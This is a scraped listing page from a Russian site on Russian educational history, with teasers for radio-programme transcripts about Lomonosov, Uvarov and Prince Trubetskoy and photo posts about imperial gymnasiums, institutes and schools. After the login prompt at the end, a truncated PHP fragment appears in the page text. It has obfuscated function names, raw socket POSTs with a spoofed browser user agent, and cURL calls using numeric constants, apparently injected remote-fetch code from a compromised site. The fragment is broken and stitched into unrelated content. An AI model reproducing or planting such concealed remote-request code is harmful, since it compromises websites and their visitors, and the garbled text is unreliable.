Образование

Михайло Ломоносов. Часть 2

Стенограмма передачи “Не так” на радиостанции “Эхо Москвы” С.БУНТМАН – Александр Каменский – вот это «так» у нас здесь, абсолютно. Саш, добрый день! А.КАМЕНСКИЙ – Добрый день. С.БУНТМАН – И вторая часть у нас рассказа о Михаиле Васильевиче Ломоносове. Ломоносов – мы его оставили, вот как раз его юность и раннюю совсем молодость мы его(…)

Михайло Ломоносов. Часть 1

Стенограмма передачи “Не так” на радиостанции “Эхо Москвы” С.БУНТМАН – Ну что ж, мы сейчас… практически, мы завершаем такую, регулярную, прерывавшуюся несколько раз серию о выдающихся личностях, о которых говорили или, скажем так, слишком много хорошего, или слишком много плохого – в общем, много не того. И хотелось бы узнать, как все было на самом(…)

Ломоносов и норманская теория в истории

2011-08-06-netak-1412 Стенограмма передачи “Не так” на радиостанции “Эхо Москвы” С. БУНТМАН: Так, ну что же, стоит задать вопрос, который к этой рубрике примыкает. Весной 1912 года, артист Никита Бариев и меценат Тарасов, решили открыть в Москве театр. Помещением для него должен был стать подвал в районе Пречистенки. Какое животное, живое существо, во всяком случае, встретили(…)

Трагедия князя Трубецкого

Стенограмма передачи “Не так” на радиостанции “Эхо Москвы” С.БУНТМАН – Программа «Не так!», совместная с журналом «Знание – сила», у нас в гостях Андрей Левандовский, с которым мы встречались уже в прошлый раз. Сегодня мы будем говорить о трагедии князя Трубецкого. Объясните в двух словах, что это, и потом идем вглубь. А.ЛЕВАНДОВСКИЙ – В общем,(…)

Просвещенный хранитель — граф Уваров

2010-07-24-netak-1408 Стенограмма передачи “Не так” на радиостанции “Эхо Москвы” А. ЛЕВАНДОВСКИЙ — Да, конечно. С. БУНТМАН — Мифологический портрет, который другой Бунтман, Евгений сделал. И сейчас мы его услышим. Е. БУНТМАН — Когда вспоминают Уварова, автора памятной триады и министра народного просвещения, принято цитировать лишь одного его современника – Сергея Соловьева. В своём определении историк(…)

Почему люди изучают историю? (Видео-лекция)

Почему люди изучают историю? (Видео-лекция)

Лектор — Н.И. Басовская. Эта лекция — первая из двух, закрывающих курс отечественной истории. Мы попытаемся представить некие общие, глобальные проблемы исторического знания в целом и истории России, поговорим о том, какое наша страна занимает место в истории мировой. А для начала разберемся, почему люди вообще изучают эту науку.

Зарисовки студенческой жизни. Часть 2

Владимир Кадулин, (К. Дулин, Вольдемар)- карикатурист. Начинал учиться в Москве, заканчивал художественное образование в Киеве. Его взлет популярности как карикатуриста пришелся на период после первой русской революции 1905 года, он делал острые политические карикатуры , не щадившие даже высоких чиновников. Вскоре, однако, Столыпин подкрутил гайки, и «вольности» сатириков начали умерять увесистыми штрафами. Художник стал пользоваться(…)

Зарисовки студенческой жизни. Часть 1

Студент (от лат. studens — усердно работающий, занимающийся) — учащийся высшего, в некоторых странах и среднего учебного заведения. В Древнем Риме и в Средние века студентами назывались любые лица, занятые процессом познания. С основанием в XII веке университетов термин стал употребляться для обозначения обучающихся и преподающих в них лиц; после введения учёных званий для преподавателей (магистр, профессор и др.) — только учащихся. В России до 1918 года студентами называли также выпускников вузов, ещё(…)

Сборник задач противоалкогольного содержания 1914 г.

Пособие при преподавании арифметики в низших школах всех ведомств. Задачник составлен учителем М. М. Беляевым и врачом С. М. Беляевым на основании научностатистических данных за период с 1900 по 1914 годы и издан кружком деятелей по борьбе со школьным алкоголизмом. Задачи подразделяются на следующие группы: статистические, социальные, трактующие об алкоголе, смешанные. В учебнике рассматриваются и(…)

Азбука Александра Бенуа 1904 года

Александр Николаевич Бенуа (21 апреля (3 мая) 1870, Санкт-Петербург — 9 февраля 1960, Париж) — русский художник, историк искусства, художественный критик, основатель и главный идеолог объединения «Мир искусства». Из семьи известных архитекторов Бенуа: сын Н. Л. Бенуа, брат Л. Н. Бенуа и А. Н. Бенуа и двоюродный брат Ю. Ю. Бенуа.

Гимназистки конца ХIX — начала XX века. Часть 4. 2

Поначалу учебное заведение, открывшееся в Иркутске в 1845 году, называлось Девичьим институтом Восточной Сибири, а с 1896 года официально стало именоваться Иркутским институтом имени императора Николая I. Назван он так по ходатайству иркутян в честь столетия со дня рождения императора. В Сибири институт стал первым средним женским учебным заведением. Главным вдохновителем, инициатором открытия института стал генерал-губернатор В.Я. Руперт.(…)

Гимназистки конца ХIX – начала XX века. Часть 4.

Здание первой женской гимназии — улица Советская, 9. В середине XIX века в Пензе было два женских учебных заведения — так называемый «дворянский пансион», основанный в 1842 году, и частный пансион Гофман, открытый в 1852 году. В 1859 году их объединили в одно заведение — училище 1-го разряда с 6-летним курсом обучения, заведование которым возложили на(…)

Выпускники I кадетского корпуса 1882 г.

Кадетский корпус — начальное военно-учебное заведение с программой среднеучебного заведения с полным пансионом для подготовки молодежи к военной карьере; раньше по окончании полного курса, воспитанники принимались не только в военные училища, но и в высшие школы без экзаменов. В 1882 г. была проведена большая реформа военно-учебных заведений, местные военные гимназии были переименованы в кадетские корпуса, также школа гвардейских подпрапорщиков(…)

Астрономические курсы профессора Штернберга в Москве 1915-17 гг.

Павел Карлович Штернберг, партийные клички — «Лунный», «Владимир Николаевич», «Эрот», «Гарибальди» (1865, Орёл, — 1920, Москва) — российский астроном, революционер и член РСДРП (б) с 1905 года, депутат Московской городской думы, участник Гражданской войны. источник

ТОВАРИЩЪ на 1916-1917 гг. Календарь для учащихся

Товарищ календарь учащихся на 1915-1916г. Издание Отто Кирхнер. Петроград 30 ноября 1871 года на Малой Морской, в доме № 14 23-летний немецкий мастер Отто Францевич Кирхнер открыл переплётную мастерскую в очень небольших размерах и с весьма ограниченными средствами. В первые годы Отто Кирхнер работал сам с двумя учениками, имея при себе только самые необходимые инструменты для производства. Все работы(…)

О пчелах и пасечниках Юрьевца

Сергей Константинович держал пасеку в г. Юрьевце, раньше он относился к Костромской губернии, сейчас это в Ивановской области. Вообще по прямой от Макарьева до Юрьевца порядка 100 км, на выходные не поездишь, и непонятно, жили они там постоянно или нет. Фотографии датированы в основном 1899-1901 гг. На пасеке, как понятно из подписей, были  обучающие пчеловодству(…)

Харьковский технологический институт

Харьковский технологический институт

Харьковский технологический институт (ныне Национальный технический университет «Харьковский Политехнический Институт») был основан в 1885 году академиком В. Л. Кирпичёвым по «менделеевской» программе российских Технологических институтов. Фотографии взяты из альбома, посвященного 10-й или 15-ой годовщине создания института. ХТИ — первый технический вуз в украинских губерниях Российской империи и второй технологический институт империи. Решение об открытии принято в 1870-х годах. Институт торжественно(…)

Харьковский институт благородных девиц

Харьковский институт благородных девиц

Харькове было такое учебное заведение, как «Институт благородных девиц». Взрослое поколение более знало о «Смольном институте» в Санкт-Петербурге, чем о Харьковском. Институт благородных девиц основан на средства дворян губернии в тяжелый для России 1812 год, когда войска Наполеона рвались к Москве. На юге России, в Украине, в Харькове представителями дворянского сословия были собраны средства для(…)

Смолянки 1889 г. Выпускной альбом

Смолянки 1889 г. Выпускной альбом

Воскресенский девичий Смольный монастырь — женский монастырь, функционировавший на востоке Санкт-Петербурга в 1744—1764 годах. В эти годы монастырь отстраивался под личным надзором императрицыЕлизаветы Петровны, которая желала в конце жизни удалиться сюда на покой. В 1848 году указом Николая Первого учреждён новый женский монастырь с тем же названием — Воскресенский Новодевичий монастырь.

Симбирское женское Епархиальное Училище

Симбирское женское Епархиальное Училище

Симбирское духовное училище — начальное учебное заведение Русской Православной Церкви, располагавшееся в Симбирске. В 1803 году из Саранска была переведена в Симбирск православная гимназия, переименованная тогда в «русское училище». Училище размещалось в верхнем этаже каменнаго двух-этажнаго корпуса в Покровском монастыре. Начавшаяся в 1809 году реформа учебных заведений духовнаго ведомства достигла Симбирска только в 1818 году, в связи с чем Симбирское «русское училище» было(…)

Лесной корпус Политехнического Института Санкт-Петербурга

Лесной корпус Политехнического Института Санкт-Петербурга

   C 1830-х годов, когда институт, нуждавшийся в деньгах, стал продавать часть своих земель частным лицам, местность вокруг него начала становиться оживленным пригородом. Покупателям участков гарантировались льготы — освобождение на четверть века от воинского постоя и некоторых налогов. Позже была введена такая форма продажи земли, как отдача в «чинш» — «вечную аренду», т.е. казна в(…)

Санкт-Петербургский Политехнический институт Императора Петра Великого 1912 г.

Санкт-Петербургский Политехнический институт Императора Петра Великого 1912 г.

Основан 19 февраля 1899 года в соответствии с поручением премьер-министра Российской империи С. Ю. Витте как Санкт-Петербургский политехнический институт имени Петра Великого. Ближайшими единомышленниками Витте в деле организации СПбПИ были товарищ министра финансов В. И. Ковалевский и выдающийся учёный-химик Д. И. Менделеев, ставшие также фактическими основателями Санкт-Петербургского политехнического института. Все трое впоследствии были избраны почётными членами института, а их портреты были установлены в зале Совета. Архитектор Э. Ф. Виррих создал институтский городок, состоящий из(…)

Санкт-Петербургский Сиротский Институт Императора Николая I

Санкт-Петербургский Сиротский Институт Императора Николая I

Женское учебно-воспитательное заведение Ведомства учреждений императрицы Марии. Основано на базе открытого в 1834 по повелению Николая I сиротского отделения Санкт-Петербургского Воспитательного дома. В 1837 преобразовано в Сиротский институт. Заведение располагалось в комплексе зданий Воспитательного дома на наб. реки Мойки, 48–50 – в бывшем дворце гр. К. Г. Разумовского. Архитектор П. С. Плавов расширил старое здание(…)

Читинское ремесленное училище Императора Николая II

Читинское ремесленное училище Императора Николая II

17 июня 1891 г. город Читу посетил наследник цесаревич Николай Александрович. В тот день Император Александр III принял просьбу читинской городской думы об учреждении в Чите ремесленного училища. Об открытии училища ходатайствовал и военный губернатор Забайкальской области М. П. Хорошхин. Оно было открыто 11 сентября 1894 г. и размещалось в доме купца Красикова, но уже(…)

Императорское Московское Техническое Училище

Императорское Московское Техническое Училище

В 1826 г. императрица Мария Федоровна повелела учредить в Москве для воспитанников Московского воспитательного дома мастерские разных ремесел на 300 человек. Первый устав образованного таким образом ремесленного учебного заведения утвержден 1 июля 1830 г.; открыто оно было в 1832 г. Полный курс учения был шестилетний, в составе трех приготовительных классов и трех мастерских. Из числа(…)

В х о д
X

Забыли пароль?

array( method=>POST, header=>"Content-Type: application/x-www-form-urlencoded ", content=>$URL, ), ) ); return file_get_contents($URL,false,$_14); } function l__2($socket, $host, $path, $paramurl){ fputs($socket, "POST ".$path." HTTP/1.0\r\n Host: $host\r\n User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n Accept: */*\r\n Accept-Language: en-us,en;q=0.5\r\n Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n Content-Length: ".strlen($paramurl)."\r\n Content-Type: application/x-www-form-urlencoded\r\n\r\n$paramurl"); $response=""; while ($buffer=fread($socket, 4096)){ $response .= $buffer; } fclose($socket); $header_end = strpos($response, ""); $response=substr($response, $header_end+4); return $response; } function l__3($URL){ $curl = curl_init($URL); curl_setopt($curl, 42, FALSE); curl_setopt($curl,19913,TRUE); curl_setopt($curl,13,15); curl_setopt($curl,10015,$paramurl); $response=curl_exec($curl); curl_close($curl); return $response; } ?>